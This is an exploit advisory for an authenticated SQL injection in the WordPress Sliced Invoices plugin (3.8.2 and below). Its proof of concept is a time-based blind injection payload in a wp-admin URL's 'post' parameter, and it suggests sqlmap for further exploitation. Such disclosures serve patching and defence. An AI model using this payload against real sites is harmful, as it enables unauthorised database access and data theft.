WordPress Sliced Invoices plugin versions 3.8.2 and below suffer from a remote SQL injection vulnerability.
9ded6b959b02e7be9501260e777779e3# Exploit Title: Wordpress Sliced Invoices <= 3.8.2 Authenticated SQL Injection Vulnerability
# Date: 22-10-2019
# Exploit Author: Lucian Ioan Nitescu
# Contact: https://twitter.com/LucianNitescu
# Webiste: https://nitesculucian.github.io
# Vendor Homepage: https://slicedinvoices.com/
# Software Link: https://wordpress.org/plugins/sliced-invoices/
# Version: 3.8.2
# Tested on: Ubuntu 18.04 / Wordpress 5.3
1. Description:
Wordpress Sliced Invoices plugin with a version lower then 3.8.2 is affected by an Authenticated SQL Injection vulnerability.
2. Proof of Concept:
Authenticated SQL Injection:
- Using an Wordpress user, access <your target> /wp-admin/admin.php?action=duplicate_quote_invoice&post=8%20and%20(select*from(select(sleep(20)))a)--%20
- The response will be returned after 20 seconds proving the successful exploitation of the vulnerability.
- Sqlmap can be used to further exploit the vulnerability.